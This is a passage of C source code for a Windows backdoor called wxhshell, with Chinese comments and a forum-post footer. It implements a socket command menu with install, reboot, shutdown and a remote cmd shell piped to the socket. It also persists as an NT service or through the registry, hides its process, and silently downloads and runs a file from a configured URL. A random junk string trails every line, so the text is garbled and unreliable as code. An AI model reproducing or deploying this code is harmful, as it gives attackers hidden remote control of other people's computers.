    switch(cmd[0]) { ?&1!vz  
  II,8O  
  // 帮助 KPUV@eQ,  
  case '?': { TuaBm1S{f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h@ry y\9  
    break; Qt<&WB fn  
  } $ (x]  
  // 安装 l+^*LqEW2  
  case 'i': { |&i<bqLw:  
    if(Install()) {"KMs[M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `<d }V2rdz  
    else R (n2A$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Au@S$ij  
    break; }k.Z~1y  
    } ncT&Gr   
  // 卸载 '6%2.[ o  
  case 'r': { `e}B2;$A3  
    if(Uninstall()) K]w'&Qm8W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3Y0`&:D  
    else ey$&;1x#5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ab?aQ*$+  
    break; z<' u1l3  
    } o?Oc7 $+u  
  // 显示 wxhshell 所在路径 7 HYwLG:\~  
  case 'p': { @f3E`8  
    char svExeFile[MAX_PATH]; %d9uTm;  
    strcpy(svExeFile,"\n\r"); { 2f-8Z&>  
      strcat(svExeFile,ExeFile); Cq~dp/V  
        send(wsh,svExeFile,strlen(svExeFile),0); {E|$8)58i  
    break; ^} >w<'0  
    } Ml-6OvQ7g  
  // 重启 Ab.(7GFK  
  case 'b': { $/Uq0U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {]4LULq  
    if(Boot(REBOOT)) sK?twg;D*|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJ.-Dg5U  
    else { $6R-5oQ  
    closesocket(wsh); 5]:U9ts#  
    ExitThread(0); j^RmrOg ,  
    } JNnDts*w  
    break; &mS^ZyG  
    } (KZ{^X?a  
  // 关机 a/xn'"eli  
  case 'd': { Tpa5N'O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @-`*m+$U6  
    if(Boot(SHUTDOWN)) 5wU]!bxr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SNk=b6`9  
    else { ysnx3(+|  
    closesocket(wsh); U- k`s[dv  
    ExitThread(0); vKAN@HSYr  
    }  K_}K@'  
    break; >Y@H4LF;1x  
    } M x" \5i  
  // 获取shell z},# ~L6$q  
  case 's': { tw)mepwB  
    CmdShell(wsh); ^E>3|du]O  
    closesocket(wsh); Q\sK"~@3  
    ExitThread(0); ]JQULE)  
    break; +G>\-tjSD  
  }  uHRsFlw  
  // 退出 !&@615Vtw  
  case 'x': { 4 s9LB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -"9  
    CloseIt(wsh); ;*2Cm'8E  
    break; }4X0epPp;:  
    } ]7c=PC  
  // 离开 k$:|-_(w  
  case 'q': { TIg3` Fon  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B^ }yo65I  
    closesocket(wsh); {R{=+2K!|k  
    WSACleanup(); _Y m2/3!  
    exit(1); v4 E}D  
    break; 6Q5^>\Y  
        } 0jWVp- y  
  } Bk{]g=DO  
  } vtJJ#8a]  
DzRFMYBR  
  // 提示信息 {?7Uj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w_VP J  
} NDokSw-  
  } 9%obq/Lb  
YtLt*Ig%  
  return; vW@=<aS Z  
} W[r>.7>?h  
'$+ogBS  
// shell模块句柄 P[fq8lDA  
int CmdShell(SOCKET sock) Ab;.5O$y  
{ t sRdvFFq  
STARTUPINFO si; A^SgI-y|  
ZeroMemory(&si,sizeof(si)); )D%~` ,#pQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @IZnFHN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~pky@O#b  
PROCESS_INFORMATION ProcessInfo; )fAUum  
char cmdline[]="cmd"; l9"s>PU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F,CT Z~  
  return 0; %J-GKpo/S  
} >y+B  
`\ol,B_l  
// 自身启动模式 i,VMd  
int StartFromService(void) :[d9tm  
{ b| (: [nB  
typedef struct |JsZJ9W+J  
{ xN'I/@ kb  
  DWORD ExitStatus; a?oI>8*  
  DWORD PebBaseAddress; &uVnZ@o42  
  DWORD AffinityMask; RT8 ?7xFc  
  DWORD BasePriority; 5#z1bu  
  ULONG UniqueProcessId; ZYNsHcTY  
  ULONG InheritedFromUniqueProcessId; M D#jj3y  
}   PROCESS_BASIC_INFORMATION; AQ^u   
a$fnh3j[  
PROCNTQSIP NtQueryInformationProcess; #4;wjcGWw  
qZZK#,Qb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )QJUUn#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (**oRwr%  
|k9 C/  
  HANDLE             hProcess; m(P]k'ZH?  
  PROCESS_BASIC_INFORMATION pbi; -D: b*D  
1{.9uw"2S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X5w$4Kj&4l  
  if(NULL == hInst ) return 0; JlJ a #  
ksm~<;td  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,`sv1xwd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iN.n8MN=I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z'7]h TA  
V28M lP  
  if (!NtQueryInformationProcess) return 0; )O6>*wq  
z0 Z%m@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7-V/RChBm  
  if(!hProcess) return 0; 1B\WA8  
0tJ Z4(0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tT._VK]o&R  
Ew$C ;&9  
  CloseHandle(hProcess); o#N+Y?O  
@'|~v <<WZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6wg^FD_Q  
if(hProcess==NULL) return 0; f?)-}\[IR{  
@E8+C8'  
HMODULE hMod; HE\K@3-  
char procName[255]; [_:nHZb  
unsigned long cbNeeded; )YI(/*+]  
A?0Nm{O;3v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O33 `+UV"W  
&9>vl*  
  CloseHandle(hProcess); %]7d`/  
CU~PT.  
if(strstr(procName,"services")) return 1; // 以服务启动 Kf-JcBsrT  
7x8  yxE  
  return 0; // 注册表启动 |&4/n6;P$0  
} MfkN]\Jyw  
VS|2|n1<6  
// 主模块 DIUjn;>k8  
int StartWxhshell(LPSTR lpCmdLine) o,wUc"CE  
{ 7mfS*aCb  
  SOCKET wsl; :MDKC /mC  
BOOL val=TRUE; IUct  
  int port=0; >C~6\L`c  
  struct sockaddr_in door; Ht&Y C<X  
&>}5jC.I  
  if(wscfg.ws_autoins) Install(); I*^Ta{j[  
-DAlRz#d,  
port=atoi(lpCmdLine); 9Gz=lc[!7  
>5SSQ\2~a  
if(port<=0) port=wscfg.ws_port; lUMdrt0@z  
q75s#[<ap  
  WSADATA data; Yoll?_k+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x$(f7?s] 1  
HtYwEjI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e8 b:)"R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6d~'$<5on  
  door.sin_family = AF_INET; Q=dy<kg']  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Bj":rzY  
  door.sin_port = htons(port); wI "U7vr  
yaV|AB$v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {(?4!rh  
closesocket(wsl); pmYHUj #  
return 1; SZCze"`[  
} (C)p9-,  
|sZHUf_  
  if(listen(wsl,2) == INVALID_SOCKET) { f|oh.z_R  
closesocket(wsl); f`66h M[  
return 1; )BfAw  
} z([</D?  
  Wxhshell(wsl); mXs; b 2r^  
  WSACleanup(); M rb)  
<QGXy=  
return 0; _h1mF<\ X^  
S$X Sei_q  
} 3HK\BS  
, 9 a  
// 以NT服务方式启动 J9S>yLQK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6D_D';o  
{ }W,[/)MO  
DWORD   status = 0; UkGCyGyZ[  
  DWORD   specificError = 0xfffffff; {BU;$  
w@fi{H(R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (&x['IR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .6 ?U@2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LjHVJSC  
  serviceStatus.dwWin32ExitCode     = 0; Yu2Bkq+  
  serviceStatus.dwServiceSpecificExitCode = 0; Ny)X+2Ae  
  serviceStatus.dwCheckPoint       = 0; C+&l< fM&  
  serviceStatus.dwWaitHint       = 0; DLNb o2C  
j b!i$/%w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZqO^f*F>h  
  if (hServiceStatusHandle==0) return; 18:%~>.!  
0+b1vhQ  
status = GetLastError(); #C@FYO f*  
  if (status!=NO_ERROR) ,5<Cd,`*  
{ .(2ik5A%9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3"\lu?-E  
    serviceStatus.dwCheckPoint       = 0; Pj% |\kbNs  
    serviceStatus.dwWaitHint       = 0; V Jll  
    serviceStatus.dwWin32ExitCode     = status; 'H<\x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8, >P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )wh A<lC  
    return; "kqPmeI  
  } hP&B t  
U~7c+}:c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ufT`"i  
  serviceStatus.dwCheckPoint       = 0; II x#2r  
  serviceStatus.dwWaitHint       = 0; '1/i"yoW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |$_sX9\`?|  
} @U}1EC{A  
H} g{Cr"Ex  
// 处理NT服务事件,比如:启动、停止 @Do= k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;sFF+^~L  
{ VVOd]2{  
switch(fdwControl) 3sZ\0P}   
{ ,s;Uf F  
case SERVICE_CONTROL_STOP: 5l*&>C[(i  
  serviceStatus.dwWin32ExitCode = 0; G,w(d@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Thit  
  serviceStatus.dwCheckPoint   = 0; 9'q*:&qq  
  serviceStatus.dwWaitHint     = 0; R{T$[$6S  
  { Xla~Yg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 65^9  
  } _:27]K:  
  return; x-3\Ls[I  
case SERVICE_CONTROL_PAUSE: !%0 * z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o{[YA} xc  
  break; P7~>mm+  
case SERVICE_CONTROL_CONTINUE: :9 ^* ^T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W5MTD]J   
  break; Q]>.b%s[  
case SERVICE_CONTROL_INTERROGATE: 4HA<P6L  
  break; cExS7~*  
}; *;*r 8[U}q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rw #$lP  
} J-hbh  
&:) Wh[  
// 标准应用程序主函数 83q6Sv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^y%T~dLkp'  
{ n.0fVV-A  
ZJs$STJ*  
// 获取操作系统版本 o " #\ >  
OsIsNt=GetOsVer(); IO-Ow!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ibu/ W$  
vRO _Q?  
  // 从命令行安装 BThrO d  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?5 7Sk+  
%bfQ$a:  
  // 下载执行文件 D d</`iUq  
if(wscfg.ws_downexe) { 9q[oa5INd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uW36;3[f#1  
  WinExec(wscfg.ws_filenam,SW_HIDE); w+CA1q<  
} n7-6- #  
<e</m)j  
if(!OsIsNt) { B`J~^+`[*  
// 如果时win9x,隐藏进程并且设置为注册表启动 {{p7 3 'u  
HideProc(); X}\:_/  
StartWxhshell(lpCmdLine); 3/n5#&c\4  
} Jze:[MYS  
else JFk lUgg  
  if(StartFromService()) 9-*uPK]m9  
  // 以服务方式启动 omBoo5e  
  StartServiceCtrlDispatcher(DispatchTable); s!7y  
else k+pr \d~  
  // 普通方式启动 p= } Nn(  
  StartWxhshell(lpCmdLine); 65Yv4pNL  
C>*u()q>4h  
return 0; ?<'}r7D   
}
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只看该作者 1 发表于: 2006-10-10
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